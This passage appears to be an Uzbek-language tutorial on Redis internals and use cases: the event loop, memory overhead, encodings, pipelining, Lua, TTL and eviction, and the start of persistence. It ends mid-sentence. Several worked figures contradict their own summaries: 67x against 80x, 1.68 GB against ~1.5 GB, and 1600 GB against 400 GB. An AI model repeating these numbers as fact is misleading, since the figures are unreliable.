darslik@system-design~/darslar/redis
$ redis-cli -h darslik --version
redis-cli 7.4.0 · dars 03
127.0.0.1:6379> INFO darslik
# 12 ta stsenariy, noldan ishlab chiqarishgacha
03o'rta165 daqiqa

Redis'ning 12 ta asosiy stsenariysi

LLOOGG'dan Valkey'gacha: event loop, xotira modeli, skiplist va HyperLogLog ichidan, 12 ta amaliy stsenariy va ularning har biridagi tuzoqlar.

Event loopXotira modeliKodlashlarTTL va evictionRDB va AOFfork va COWZSET va skiplistStreamsHyperLogLogTaqsimlangan lockCluster

Bu darsda nima o‘rganasiz

Oddiy tilda: katta ofisda o‘nlab xodim bir xil savollarga javob qidiradi — “bugun kim navbatchi?”, “mijozning oxirgi buyurtmasi qaysi?”, “bu hujjatni kim tahrirlayapti?”. Har safar arxivga tushib, papkalarni varaqlash sekin. Shuning uchun dahlizga umumiy oq doska osiladi: eng kerakli ma’lumotlar shu yerda, hamma ko‘radi, hamma yozadi va har yozuv bir lahzada ko‘rinadi. Doska arxivni almashtirmaydi — u arxivning tezkor nusxasi va umumiy xotirasi.

Redis — dasturlar uchun aynan shunday doska. Lekin oddiy doska emas: unda tayyor “jadvallar” bor — navbat, reyting, to‘plam, hisoblagich, oqim. Va eng muhimi, ikki kishi bir vaqtda yozsa ham doska chalkashmaydi: har yozuv bitta-bitta, navbat bilan bajariladi.

Redis haqida ko‘p yozilgan, lekin deyarli hammasi bir xil: “tez kesh, kalit-qiymat, GET va SET”. Bu ta’rif Redis’ning nima ekanini emas, nima ko‘rinishini tasvirlaydi. Aslida Redis — xotiradagi ma’lumot strukturalari serveri. Uning kuchi tezlikda emas (tez narsalar ko‘p), balki server tomonida atomik ishlaydigan ro‘yxat, to‘plam, tartiblangan to‘plam, bitmap va oqimda. Aynan shular 12 ta amaliy stsenariyni tug‘diradi.

Dars noldan hozirgi holatigacha boradi. 2009-yilda bitta dasturchi o‘z analitika xizmati uchun yozgan kichik serverdan boshlaymiz. Keyin u dunyodagi eng ko‘p ishlatiladigan xotiradagi bazaga aylanadi va 2024-yilda litsenziya bo‘yicha bo‘linadi (Valkey). Ichkariga ham kiramiz: skiplist reytingni qanday tez saralaydi, HyperLogLog 12 KB da milliardlab odamni qanday sanaydi, muddati o‘tgan kalitlar qanday tozalanadi.

SavolJavob shu darsdaBo‘lim
Nega bitta ipli server 100 000 ops/s beradi?Event loop va vaqt byudjeti2.1, 6
KEYS * nega ishlab chiqarishda taqiqlangan?Bloklovchi komandalar2.6
10 million kalit qancha xotira yeydi?Kalit ustama xarajati hisobi2.4
Nega kichik hash 5 barobar arzon?Kodlashlar (listpack)2.5
RDB saqlashda xotira nega ikki barobar oshadi?fork va copy-on-write4.2
Taqsimlangan lock ishonchlimi?Redlock munozarasi va fencing5 (7-stsenariy)
Reyting jadvalida “mening o‘rnim” qanday O(log N)?Skiplist va span7.1
12 KB da milliard noyob foydalanuvchi?HyperLogLog ichidan7.2
Failover‘da nechta yozuv yo‘qoladi?Asinxron replikatsiya8.2

1. Muammo: nega umuman Redis kerak?

1.1 Hamma narsa bitta jadvaldan boshlanadi

Oddiy tilda: ma’lumotni olish — narsani olib kelishga o‘xshaydi. Cho‘ntakdagi narsa — bir soniya. Uydagi javon — bir daqiqa. Shahar chetidagi ombor — bir soat. Boshqa shahardagi ombor — bir kun. Kompyuterda ham xuddi shunday “masofalar” bor, va farq millionlab barobar. Redis’ning butun ma’nosi — kerakli narsani “ombor”dan “javon”ga olib kelish.

Kechikish raqamlari — bu darsning asosi. Ularni yodda tutish kerak:

AmalVaqtNisbat
L1 kesh o‘qish~1 ns1×
Asosiy xotiradan (RAM) o‘qish~100 ns100×
NVMe SSD tasodifiy o‘qish~100 µs100 000×
Ma’lumotlar bazasidan oddiy SELECT (issiq)~0.5–2 ms~10⁶×
Ma’lumotlar bazasidan SELECT (diskdan)~5–20 ms~10⁷×
Bir mintaqadan boshqasiga tarmoq~100 ms~10⁸×
Hisob · Redis chaqiruvi qancha vaqt oladi
Bitta GET so'rovi (bir xil ma'lumot markazida): Tarmoq borish-kelish (RTT) ~ 200 µs Kernel va socket ishlovi ~ 30 µs Redis komandani bajarishi ~ 1 µs <- ASOSIY ISH Javobni seriyalash ~ 1 µs --------------------------------------------- Jami ~ 230 µs
Natija: Redis'ning o'z ishi ~1% ; qolgan 99% — tarmoq. Bu fakt keyingi barcha optimallashtirishlarni belgilaydi

Xulosa darhol amaliy bo‘ladi: Redis‘ni tezlashtirish uchun komandalarni emas, chaqiruvlar sonini kamaytirish kerak. Buni 2.7-bo‘limda pipelining bilan raqamda ko‘ramiz.

1.2 Redis nima va nima emas

Redis nima
  • Xotiradagi ma'lumot strukturalari serveri
  • Bitta ipda, atomik komandalar
  • Server tomonida hisoblash: ZSET, bitmap, HLL
  • Ixtiyoriy doimiylik (RDB, AOF)
Redis nima emas
  • Umumiy maqsadli ma'lumotlar bazasi emas (murakkab so'rov yo'q)
  • Cheksiz xotira emas — RAM qimmat va cheklangan
  • Kafolatlangan yetkazish tizimi emas (Pub/Sub yo'qotadi)
  • Sehrli tezlashtirgich emas — noto'g'ri ishlatilsa sekinlashtiradi

1.3 v0: Redis‘siz hayot

Redis nima uchun paydo bo‘lganini tushunish uchun undan oldingi holatga qaytamiz. Ilova sekinlashdi, profiler bir xil so‘rov qayta-qayta bajarilayotganini ko‘rsatdi. Birinchi tabiiy qadam — jarayon ichidagi kesh:

_cache = {}   # oddiy dict

def get_article(id):
    if id in _cache:
        return _cache[id]
    row = db.query("SELECT ... WHERE id = %s", id)
    _cache[id] = row
    return row

Bu ishlaydi va u eng tez kesh: tarmoq ham, seriyalash ham yo‘q, murojaat ~100 ns. Bitta serverda bu yetarli. Lekin serverlar soni o‘sishi bilan uchta muammo paydo bo‘ladi.

1.4 Nima sindi

1. Xotira takrorlanadi. Har bir server o‘z nusxasini saqlaydi.

Hisob · Jarayon ichidagi kesh: xotira isrofi
Issiq ma'lumot: 8 GB Ilova serverlari: 50 ta (har birida 4 ta jarayon) Jarayon ichidagi kesh: 50 x 4 x 8 GB = 1600 GB (nazariy) Amalda har jarayon o'z ulushini saqlaydi va urish darajasi past Markazlashgan kesh: 8 GB (+ replika uchun yana 8 GB) = 16 GB Va urish darajasi yuqori: hamma bir xil keshdan foydalanadi
Natija: 50 ta serverda bir xil 8 GB ma'lumot 400 GB xotirani egallaydi. Redis'da bu 8 GB (+ replika)

2. Invalidatsiya imkonsiz. Maqola tahrirlandi. Qaysi serverning keshida uning eski nusxasi bor? Hammasida. Ularning har biriga xabar berish kerak — ya’ni sizga taqsimlangan xabar tizimi kerak bo‘lib qoladi.

3. Sovuq start va yuk muvozanati. Yangi server ko‘tarildi — keshi bo‘sh, bazaga to‘liq yuk beradi. Yuk muvozanatlagich so‘rovni boshqa serverga yuborsa, o‘sha serverda kesh yo‘q.

4. Umumiy holat saqlab bo‘lmaydi. Rate limiting, sessiya, taqsimlangan lock — bularning hech biri jarayon ichida ishlamaydi, chunki ular hamma serverlar uchun bitta haqiqat talab qiladi.

1.5 Redis qanday shakllandi

Redis bitta aniq muammodan tug‘ildi. Italiyalik dasturchi Salvatore Sanfilippo (taxallusi antirez) LLOOGG degan real vaqtdagi veb-analitika xizmatini yuritardi: saytga kim kirdi, qaysi sahifani ochdi — darhol ko‘rsatish kerak edi. Har tashrif bazaga yozilar va “oxirgi N ta tashrif” ro‘yxati doim yangilanardi. Yuk oshgach MySQL buni ko‘tara olmadi.

Antirez xotirada ishlaydigan kichik server yozdi. U oddiy kalit-qiymat emas edi: unda ro‘yxat bor edi va “ro‘yxat boshiga qo‘sh, oxirini kes” amali server ichida bajarilardi. Bir necha hafta ichki ishlatishdan keyin, 2009-yil 25-fevralda u loyihani Hacker News’da e’lon qildi va kodni ochdi. Shu bitta qaror — ma’lumot strukturalari serverning ichida — keyingi o‘n besh yil davomida Redis’ni oddiy keshlardan ajratib turdi.

2009
Birinchi versiya
Salvatore Sanfilippo o'z veb-analitika mahsuloti uchun yozadi: MySQL yozish yukini ko'tara olmagan. Boshidanoq ma'lumot strukturalari bilan — bu uni memcached'dan ajratadi.
2.6 (2012)
Lua skriptlar
Server tomonida atomik mantiq. Rate limiter va lock'larning to'g'ri versiyalari shundan keyin mumkin bo'ldi.
3.0 (2015)
Cluster
16384 slot, gorizontal masshtablash. Undan oldin faqat mijoz tomonda shardlash bor edi.
4.0 (2017)
Modullar, LFU, UNLINK
Bloklamaydigan o'chirish va chastota asosidagi siqib chiqarish — ikkalasi ham ishlab chiqarish tajribasidan tug'ilgan.
5.0 (2018)
Streams
Pub/Sub'ning yo'qotish muammosiga javob: tasdiqlash, iste'molchi guruhlari, tarix.
6.0 (2020)
ACL, TLS, I/O threads
Xavfsizlik jiddiy qabul qilindi va tarmoq qismi bir necha yadroga taqsimlandi.
7.x (2022+)
Functions, listpack, sharded Pub/Sub
Xotira kodlashlari yaxshilandi; klasterda Pub/Sub slotlar bo'yicha bo'lindi.
2024
Litsenziya o'zgarishi va Valkey
Mart: Redis BSD'dan RSALv2/SSPL ga o'tdi. Bir haftada Linux Foundation ostida Valkey forki (Redis 7.2.4 asosida, BSD) paydo bo'ldi; ko'p bulut provayderlari va Linux distributivlari o'shanga o'tdi.
2025
Redis 8 va AGPLv3
Antirez 2024-yil oxirida kompaniyaga qaytdi; Redis 8 da AGPLv3 ochiq litsenziya varianti qo'shildi. API ikkala loyihada ham deyarli bir xil.

1.6 Memcached va Redis

Bu — intervyudagi klassik savol va uning javobi tarixiy sabablarni ochadi.

Memcached
  • Faqat kalit -> satr (struktura yo'q)
  • Ko'p ipli — katta qiymatlarda tezroq bo'lishi mumkin
  • Doimiylik yo'q, replikatsiya yo'q
  • Slab allocator — fragmentatsiya bashoratli
Redis
  • Ma'lumot strukturalari: ZSET, bitmap, Streams, HLL
  • Atomik server tomon amallari va Lua
  • Doimiylik, replikatsiya, failover, klaster
  • Kesh emas, holat saqlash uchun ham mos

Amaliy xulosa: agar sizga faqat kalit-qiymat kesh kerak bo‘lsa va tuzilma kerak bo‘lmasa, memcached hali ham to‘g‘ri tanlov — u soddaroq va ko‘p ipli. Boshqa barcha holatlarda Redis‘ning strukturalari uni ancha ustun qiladi. Aynan shu sabab bu darsning asosiy qismi (5-bo‘lim) strukturalarga bag‘ishlangan.

1.7 Konvert orqasidagi hisob

~1 µs
Bitta komanda serverda
GET, SET, INCR
~200 µs
Tarmoq borish-kelishi
Bir ma'lumot markazida
~100 000+
ops/s bitta yadroda
Pipelining bilan — bir necha barobar ko'p
12 KB
HyperLogLog hajmi
Milliardlab noyob element, 0.81% xato
Hisob · Bitta Redis qancha ilovaga xizmat qila oladi
Bitta komanda serverda: ~1-5 µs (parse + bajarish + javob yozish, tarmoq ishlovi bilan) Bitta yadro: 1 / 10 µs = ~100 000 ops/s Odatiy veb-sahifa Redis'ga: sessiya (1) + kesh (2) + rate limit (1) + hisoblagich (1) = 5 chaqiruv 100 000 / 5 = ~20 000 sahifa / s Kuniga (o'rtacha 20% yuk bilan): 20 000 x 0.2 x 86 400 = ~350 mln sahifa / kun Xulosa: Redis'ni masshtablashdan oldin ilovaning o'zi ko'p marta yiqiladi
Natija: Bitta yadro ~100 ming ops/s; o'rtacha veb-sahifa 5 ta Redis chaqiruvi qilsa — sekundiga ~20 ming sahifa. Ko'p loyihalar uchun bitta instansiya + replika yetadi
Nazorat savoli · javobni ko‘rishJamoadoshingiz 'jarayon ichidagi dict Redis'dan 1000 barobar tez, Redis'ga nima hojat?' deyapti. U haqmi?

Tezlik bo‘yicha — haq: lug‘atga murojaat ~100 ns, Redis’ga esa tarmoq bilan ~200 µs. Lekin u noto‘g‘ri savolga javob beryapti.

Redis tezlik uchun emas, umumiylik uchun kerak (1.4):

  • 50 ta server bitta keshni baham ko‘radi — xotira takrorlanmaydi va urish darajasi yuqori
  • bitta yozuvni o‘zgartirsangiz, hamma darhol yangisini ko‘radi — invalidatsiya muammosi yo‘q
  • rate limit, sessiya, lock — hamma serverlar uchun bitta haqiqat talab qiladi, va bu jarayon ichida imkonsiz

Eng yaxshi javob — ikkalasi birga: juda issiq va kam o‘zgaradigan narsalar (konfiguratsiya) jarayon ichida, qolgani Redis’da. Redis 6 dagi mijoz tomonidagi kesh (2.7 dagi Deep) aynan shu ikkisini birlashtiradi.

2. Nol nuqta: Redis ichkarida qanday ishlaydi

2.1 Bitta ip: nega bu kamchilik emas

Oddiy tilda: bankda bitta kassir bor, lekin u har mijozga bir soniyada xizmat qiladi. Navbatdagi odamlar uni kutadi, lekin kutish juda qisqa. Va bitta kassir bo‘lgani uchun “ikki kassir bir vaqtda bitta hisobdan pul berib yubordi” degan xato hech qachon bo‘lmaydi. Faqat bitta qoida bor: hech kim kassir oldida yarim soat turib qolmasin.

Redis komandalarni bitta ipda, navbat bilan bajaradi. Intuitsiya bunga qarshi chiqadi: 32 yadroli serverda bitta yadro ishlatilsa, isrof emasmi?

Yo‘q, chunki 1.1-bo‘limdagi hisobga qarang: bitta komanda 1 mikrosoniya oladi. Bitta yadro sekundiga million komanda bajaradi, tarmoq esa bundan ancha oldin to‘yinadi.

Bitta ipning uchta katta yutug‘i bor:

  1. Qulf (lock) yo‘q — hech qanday mutex, race condition, deadlock yo‘q. Kod sodda va bashoratli
  2. Har bir komanda atomik — INCR yoki ZADD o‘rtasida hech kim aralasha olmaydi. Bu 5-bo‘limdagi stsenariylarning yarmini imkonli qiladi
  3. Bashoratli kechikish — kontekst almashinuvi va kesh nomuvofiqligi yo‘q
▸Chuqurroq: Event loop: bitta ip minglab ulanishni qanday boshqaradi

Redis hodisalarga asoslangan model ishlatadi (epoll Linux‘da, kqueue BSD‘da). Bitta sikl:

while (1) {
    // 1. Tayyor bo'lgan socketlarni so'raymiz (bloklanmasdan)
    events = epoll_wait(fds, timeout_ms);

    // 2. Har biridan komandani o'qib, DARHOL bajaramiz
    for (e in events) {
        cmd = parse(read(e.fd));
        result = execute(cmd);        // ~1 mikrosoniya
        buffer_write(e.fd, result);
    }

    // 3. Vaqtga bog'liq ishlar
    serverCron();   // ekspirasiya, statistika, AOF, replikatsiya
}

Muhim jihat: ulanishlar soni 10 000 bo‘lsa ham, xotira faqat bufer uchun sarflanadi — har bir ulanish uchun ip yoki jarayon yaratilmaydi. Bu C10K muammosining klassik yechimi.

Zamonaviy nuans: Redis 6 dan boshlab I/O threads bor. Ular faqat socketdan o‘qish va yozishni parallellashtiradi; komandalarni bajarish hali ham bitta ipda. Ya’ni atomiklik kafolati saqlanadi, lekin tarmoq qismi bir necha yadroga taqsimlanadi.

2.2 RESP protokoli: bayt darajasida

Redis o‘z matnli protokolini ishlatadi. Uni bilish debug paytida va mijoz kutubxonasini tanlashda foyda beradi.

Mijoz -> Server:
*3\r\n$3\r\nSET\r\n$7\r\nuser:42\r\n$5\r\nAziza\r\n

  *3        -> 3 elementli massiv
  $3 SET    -> 3 baytli satr: "SET"
  $7 user:42
  $5 Aziza

Server -> Mijoz:
+OK\r\n

Javob turlari bitta belgi bilan ajratiladi: + oddiy satr, - xato, : butun son, $ bulk satr, * massiv. Sodda, o‘qiladigan va parse qilish arzon — bu ham 1 mikrosoniyalik byudjetning bir qismi.

2.3 Kalitlar va qiymatlar: xotirada nima yotadi

Oddiy tilda: pochta orqali bitta tugma yuborsangiz ham, quti, yorliq, manzil va muhr kerak bo‘ladi. Kichik narsalarda qadoq narsaning o‘zidan qimmatroq. Redis’da ham har kalitning “qadog‘i” bor — va kichik qiymatlarda u ma’lumotning o‘zidan katta.

Har bir kalit-qiymat juftligi bir necha strukturadan iborat va ularning har biri joy egallaydi:

Kalit maydoni (dict)
  └─ dictEntry            ~24 bayt  (kalit ko'rsatkichi, qiymat ko'rsatkichi, keyingi)
      ├─ kalit: SDS satri  ~16 bayt sarlavha + matn + 1
      └─ qiymat: robj      ~16 bayt (turi, kodlash, refcount, ptr)
          └─ haqiqiy ma'lumot

Bunga jemalloc‘ning yaxlitlashi qo‘shiladi: 33 baytlik so‘rov 40 baytlik blok oladi.

2.4 Kalit ustama xarajati: hisob

Hisob · 10 million oddiy kalit qancha xotira yeydi
Kalit: "user:12345678" (13 bayt) Qiymat: 50 baytli satr Bitta yozuv: dictEntry 24 bayt kalit SDS (sarlavha + 13 + 1) ~32 bayt (yaxlitlash bilan) qiymat robj 16 bayt qiymat SDS (sarlavha + 50 + 1) ~72 bayt (yaxlitlash bilan) ekspirasiya jadvalidagi yozuv ~24 bayt (agar TTL bo'lsa) ----------------------------------------------- Jami ~168 bayt Foydali ma'lumot: 13 + 50 = 63 bayt (37%) Ustama xarajat: 105 bayt (63%) 10 000 000 kalit x 168 = 1.68 GB
Natija: ~1.5 GB — buning YARMIDAN KO'PI ustama xarajat, ma'lumot emas. Kichik qiymatlarda Redis 'ma'lumot' emas, 'struktura' saqlaydi

2.5 Kodlashlar: bir xil tur, ikki xil ichki tuzilish

Redis har bir turni ikki xil saqlashi mumkin: kichik bo‘lsa ixcham ketma-ketlik, katta bo‘lsa to‘liq struktura.

TurKichik holatKatta holatChegara (standart)
Hashlistpackhashtable128 maydon / 64 bayt
Listlistpackquicklist128 element / 64 bayt
Set (butun sonlar)intsethashtable512 element
Set (satrlar)listpackhashtable128 element
ZSetlistpackskiplist + hashtable128 element / 64 bayt
Hisob · Listpack va hashtable: 1 million kichik hash
Har bir foydalanuvchi uchun 5 maydonli hash saqlaymiz: ism, email, til, yaratilgan, oxirgi_kirish listpack kodlashida (5 maydon < 128): bitta ixcham massiv, ko'rsatkichlarsiz ~ 120 bayt / hash hashtable kodlashida (agar chegara oshsa): dict + har maydon uchun dictEntry va SDS ~ 600 bayt / hash 1 000 000 foydalanuvchi: listpack: 120 MB hashtable: 600 MB
Natija: Kichik hash'lar 5 barobar arzon. Chegaradan bitta element oshsa, xotira birdan sakraydi — buni bilmasdan xotira 'sababsiz' oshgandek ko'rinadi
▸Chuqurroq: Listpack O(N) — nega bu muammo emas

Listpack — bu oddiy ketma-ket massiv. Undagi qidiruv O(N) — ya’ni 128 elementni ketma-ket ko‘rib chiqish kerak.

Nega bu sekin emas? Chunki 128 ta kichik element bitta yoki ikkita kesh liniyasiga sig‘adi va zamonaviy protsessor uchun ketma-ket xotirani o‘qish ko‘rsatkichlar bo‘yicha sakrashdan tezroq. O(1) hashtable ko‘rsatkichni ta’qib qiladi va har safar kesh xatosiga (cache miss) uchraydi.

Shuning uchun chegaralar aynan shunday tanlangan: kichik hajmda ixcham massiv ham tez, ham arzon. Chegarani oshirish (hash-max-listpack-entries 1000) xotirani tejaydi, lekin O(N) ni sezilarli qiladi — bu sozlanadigan kelishuv.

2.6 Vaqt murakkabligi: eng muhim jadval

Bitta ipli serverda har bir komandaning murakkabligi — bu butun serverning kechikishi.

KomandaMurakkablikXavf
GET, SET, HGET, SADDO(1)Yo‘q
ZADD, ZSCORE, ZRANKO(log N)Yo‘q
LPUSH, RPOPO(1)Yo‘q
ZRANGE key 0 9O(log N + 10)Yo‘q
HGETALL katta hash‘daO(N)Bor
SMEMBERS katta set‘daO(N)Bor
KEYS patternO(N) butun bazaJuda katta
FLUSHALL, DEL katta obyektdaO(N)Bor

2.7 Pipelining: 99% ni tejaydigan bitta usul

1.1-bo‘limdagi hisob: vaqtning 99% i tarmoqqa ketadi. Demak, bir nechta komandani bitta paketda yuborsak, tejash to‘g‘ridan-to‘g‘ri bo‘ladi.

Hisob · 100 ta komanda: alohida va pipeline bilan
RTT = 200 µs, bitta komanda = 1 µs Alohida yuborish: 100 x (200 + 1) = 20 100 µs = 20.1 ms Pipeline bilan (bitta paketda): 200 µs (RTT) + 100 x 1 µs = 300 µs = 0.3 ms Tezlanish: 67 barobar
Natija: 80 barobar tezlanish. Kod deyarli o'zgarmaydi — bu Redis bilan ishlashdagi eng arzon optimallashtirish
▸Chuqurroq: Pipeline, tranzaksiya va Lua: uchtasi bir xil emas

Pipeline — faqat tarmoq optimizatsiyasi. Komandalar birga yuboriladi, lekin ular orasiga boshqa mijozning komandasi tushishi mumkin. Atomiklik yo‘q.

MULTI/EXEC (tranzaksiya) — komandalar navbatga yig‘iladi va EXEC da birga, uzilmasdan bajariladi. Lekin bu SQL tranzaksiyasi emas: rollback yo‘q, va oraliq natijaga qarab qaror qabul qilib bo‘lmaydi. WATCH optimistik qulf beradi (kalit o‘zgarsa EXEC bekor bo‘ladi).

Lua skript — server tomonida bajariladigan kod, to‘liq atomik, va oraliq natijalarga qarab mantiq qura oladi. Aynan shu sabab murakkab atomik amallar (rate limiter, lock, navbat) Lua‘da yoziladi.

-- Atomik "agar egasi men bo'lsam, qulfni ochish"
if redis.call("GET", KEYS[1]) == ARGV[1] then
  return redis.call("DEL", KEYS[1])
else
  return 0
end

Ogohlantirish: Lua skript ham bitta ipda ishlaydi va serverni bloklaydi. Uzun sikl yozilsa, butun Redis to‘xtaydi. Skriptlar qisqa va bashoratli bo‘lishi shart.

▸Chuqurroq: Paket hajmi: pipeline'ni cheksiz kattalashtirib bo'lmaydi

Pipeline yaxshi, lekin 100 000 komandani bitta paketda yuborish yomon g‘oya:

  1. Server buferi o‘sadi — javoblar to‘planadi va xotira yeydi
  2. Boshqa mijozlar kutadi — bitta ipli server ketma-ket bajaradi, ya’ni 100 000 komanda ishlagunicha (~100 ms) qolganlar navbatda turadi
  3. Xato boshqarish qiyinlashadi — qaysi komanda muvaffaqiyatsiz bo‘lganini ajratish

Amaliy chegara: 100–1000 komanda bitta paketda. Bu RTT ni deyarli butunlay yo‘qotadi, lekin serverni bloklamaydi:

1000 komanda x 1 µs = 1 ms server ishi
+ 200 µs RTT
= 1.2 ms  ->  833 000 komanda/soniya

Katta hajmlarni bo‘lish kerak: 1 million kalitni yozish uchun 1000 tadan 1000 ta paket.

▸Chuqurroq: Mijoz tomonidagi kesh: ikkalasidan ham foydalanish

Redis 6 dan boshlab client-side caching (tracking) bor: mijoz qiymatni o‘z xotirasida saqlaydi, Redis esa u o‘zgargan paytda invalidatsiya xabarini yuboradi.

CLIENT TRACKING on REDIRECT <client-id>
GET user:42        -> mijoz javobni o'z keshiga qo'yadi
                      Redis bu kalitni kim keshlaganini eslab qoladi
(kimdir SET user:42) -> Redis invalidatsiya xabari yuboradi
                      mijoz o'z keshidan o'chiradi

Bu 1.3-bo‘limdagi jarayon ichidagi keshning barcha yutuqlarini beradi (100 ns murojaat, tarmoqsiz), lekin invalidatsiya muammosisiz — ya’ni o‘sha bo‘limdagi asosiy kamchilikni yopadi.

Narxi: Redis har bir mijoz nimani keshlaganini kuzatishi kerak (xotira), va invalidatsiya xabarlari qo‘shimcha trafik yaratadi. Juda issiq va kam o‘zgaradigan kalitlar uchun (konfiguratsiya, feature flag‘lar) bu juda samarali.

Nazorat savoli · javobni ko‘rishIlovangizda 500 ta kalitni o'qish kerak. `GET` ni siklda chaqirsangiz nima bo'ladi va nima qilish kerak?

Siklda 500 ta GET = 500 ta tarmoq borish-kelishi ≈ 100 ms. Redis‘ning o‘z ishi esa atigi 0.5 ms — ya’ni vaqtning 99.5% i kutishga ketadi.

Uch yechim, tartib bo‘yicha:

  1. MGET — bitta komanda bilan bir necha kalit: MGET k1 k2 ... k500. Eng oddiy
  2. Pipeline — turli komandalar bo‘lsa (masalan HGETALL lar), ularni bitta paketda yuborish
  3. Ma’lumotni qayta modellashtirish — agar 500 ta kalit doim birga o‘qilsa, ular bitta hash bo‘lishi kerak: HGETALL user:42:settings

Klaster rejimida qo‘shimcha nuqta: MGET faqat bir xil slotdagi kalitlar uchun ishlaydi (8.3-bo‘lim), shuning uchun pipeline ko‘pincha universalroq yechim.

3. Ekspirasiya va siqib chiqarish

Oddiy tilda: muzlatgichda ikki xil sabab bilan narsa chiqarib tashlanadi. Birinchisi — yaroqlilik muddati tugadi (siz o‘zingiz shu sanani yozgansiz). Ikkinchisi — joy qolmadi va yangi narsa sig‘mayapti, shuning uchun eng kam ishlatilganini olib tashlaysiz. Birinchisi — ekspirasiya, ikkinchisi — siqib chiqarish. Ular butunlay boshqa mexanizmlar.

Redis xotirasi cheklangan. Ikkita mustaqil mexanizm undan nima chiqib ketishini boshqaradi va ularni chalkashtirish keng tarqalgan xato.

Ekspirasiya (TTL)Siqib chiqarish (eviction)
Nima uchun ishlaydiKalit muddati tugadiXotira limiti to‘ldi
Kimni tanlaydiMuddati o‘tganlarniSiyosatga ko‘ra istalganini
BoshqariladiEXPIRE, SET ... EXmaxmemory-policy
Kutilgan hodisaHa, siz xohlagansizYo‘q, bu bosim belgisi

3.1 TTL qanday ishlaydi: ikki mexanizm birga

Redis muddati o‘tgan kalitni darhol o‘chirmaydi — bu million kalitni kuzatib turishni talab qilardi. O‘rniga ikki usul birga ishlaydi:

Passiv (lazy) — kalitga murojaat qilinganda muddati tekshiriladi. Muddati o‘tgan bo‘lsa, o‘sha lahzada o‘chiriladi va “yo‘q” deb javob beriladi.

Faol (active) — serverCron har 100 ms da (standart hz 10) quyidagi siklni bajaradi:

takrorlash:
    TTL li kalitlardan 20 tasini TASODIFIY tanla
    muddati o'tganlarini o'chir
    agar o'chirilganlar 25% dan ko'p bo'lsa -> yana takrorla
    aks holda -> to'xta

Cheklov: bu ish CPU vaqtining 25% idan oshmasin
▸Chuqurroq: Nega tasodifiy namuna, nega aynan 25%

To‘liq skanerlash O(N) bo‘lardi va bitta ipli serverni bloklardi. Tasodifiy namuna esa ehtimollik kafolatini beradi: agar muddati o‘tgan kalitlar ulushi 25% dan yuqori bo‘lsa, sikl davom etadi; past bo‘lsa, to‘xtaydi.

Natijada muvozanat holati: xotirada muddati o‘tgan, lekin hali o‘chirilmagan kalitlar ulushi ~25% dan oshmaydi. Ya’ni yomon holatda used_memory haqiqiy ma’lumotdan choragacha ko‘p bo‘lishi mumkin.

Amaliy oqibat: agar bir vaqtda million kalitning muddati tugasa (masalan hammasiga bir xil TTL berilgan bo‘lsa), faol sikl ularni bir necha soniya davomida tozalaydi va shu davrda kechikish sezilarli oshadi. Shuning uchun TTL ga tasodifiy qo‘shimcha (jitter) berish kerak:

ttl = 3600 + random(0, 300)     -- hammasi bir lahzada tugamasin

Bu — 2-darsdagi cache stampede muammosining aynan o‘zi, faqat boshqa tomondan.

3.2 Siqib chiqarish siyosatlari

maxmemory limitiga yetilganda Redis nima qiladi — bu maxmemory-policy bilan belgilanadi:

SiyosatNima qiladiQachon
noevictionYozishni rad etadi (xato qaytaradi)Redis asosiy saqlash bo‘lsa
allkeys-lruHar qanday kalitdan eng kam ishlatilganiniSof kesh
allkeys-lfuHar qanday kalitdan eng kam chastotalisiniSof kesh, notekis murojaat
volatile-lruFaqat TTL li kalitlardanAralash: kesh + doimiy ma’lumot
volatile-ttlMuddati eng yaqininiAralash, TTL mazmunli bo‘lsa
allkeys-randomTasodifiyDeyarli hech qachon
▸Chuqurroq: Taxminiy LRU: nega Redis 'haqiqiy' LRU ishlatmaydi

Haqiqiy LRU barcha kalitlarni murojaat tartibida ushlab turadigan bog‘langan ro‘yxatni talab qiladi — har bir kalit uchun qo‘shimcha 16 bayt ko‘rsatkich va har murojaatda ro‘yxatni yangilash.

Redis o‘rniga namuna oladi: maxmemory-samples (standart 5) ta kalitni tasodifiy tanlab, ularning ichidan eng eskisini chiqaradi. Har bir robj da 24 bitlik vaqt belgisi saqlanadi — qo‘shimcha struktura kerak emas.

Aniqlik: 5 ta namunada tanlov haqiqiy LRU dan sezilarli farq qiladi; 10 ta namunada farq deyarli yo‘qoladi. Narxi — har siqib chiqarishda biroz ko‘proq CPU.

LFU (Redis 4 dan) chastotani logarifmik hisoblagichda saqlaydi va u vaqt bilan “sovib” boradi. Kesh uchun odatda LRU dan yaxshiroq: bir marta ko‘p so‘ralgan, keyin unutilgan kalit tez chiqib ketadi.

Nazorat savoli · javobni ko‘rishRedis xotirasi to'ldi va yozishlar xato bera boshladi. Birinchi navbatda nimani tekshirasiz?
  1. maxmemory-policy — agar noeviction bo‘lsa, bu kutilgan xatti-harakat. Redis kesh sifatida ishlatilayotgan bo‘lsa, siyosat allkeys-lru yoki allkeys-lfu bo‘lishi kerak
  2. INFO memory — used_memory va used_memory_rss nisbati. RSS ancha katta bo‘lsa, fragmentatsiya bor (4.3-bo‘lim)
  3. Katta kalitlar — redis-cli --bigkeys bitta kalit gigabaytlarni yeb yotgan bo‘lishi mumkin
  4. TTL taqsimoti — TTL siz kalitlar ulushi qancha? volatile-* siyosatida TTL siz kalitlar hech qachon chiqarilmaydi va ular xotirani asta-sekin to‘ldiradi
  5. O‘sish tezligi — kalitlar soni vaqt bo‘yicha qanday o‘sgan; yangi funksiya TTL qo‘ymayotgan bo‘lishi mumkin

4. Doimiylik: xotiradagi ma’lumotni qanday saqlash

Oddiy tilda: oq doskadagi yozuvni saqlashning ikki yo‘li bor. Birinchisi — har kecha doskani suratga olish (tez tiklanadi, lekin oxirgi suratdan keyingi yozuvlar yo‘qoladi). Ikkinchisi — doskaga yozilgan har bir gapni daftarga ham yozib borish (hech narsa yo‘qolmaydi, lekin daftar qalinlashadi va tiklash uchun hammasini qayta o‘qish kerak).

Redis xotirada ishlaydi, lekin qayta ishga tushganda ma’lumot yo‘qolmasligi uchun ikki mexanizm bor. Ular bir-birini almashtirmaydi — ko‘pincha ikkalasi birga ishlatiladi.

4.1 RDB va AOF

RDB — nuqta suratlari
  • Butun ma'lumotning ixcham binar surati
  • Fayl kichik, tiklash tez
  • Suratlar orasidagi yozuvlar yo'qoladi
  • fork talab qiladi — xotira cho'qqisi
AOF — amallar jurnali
  • Har bir yozish komandasi faylga qo'shiladi
  • Yo'qotish minimal (fsync sozlamasiga qarab)
  • Fayl kattaroq, tiklash sekinroq
  • Davriy 'rewrite' kerak — u ham fork qiladi

AOF ning ishonchliligi appendfsync bilan boshqariladi:

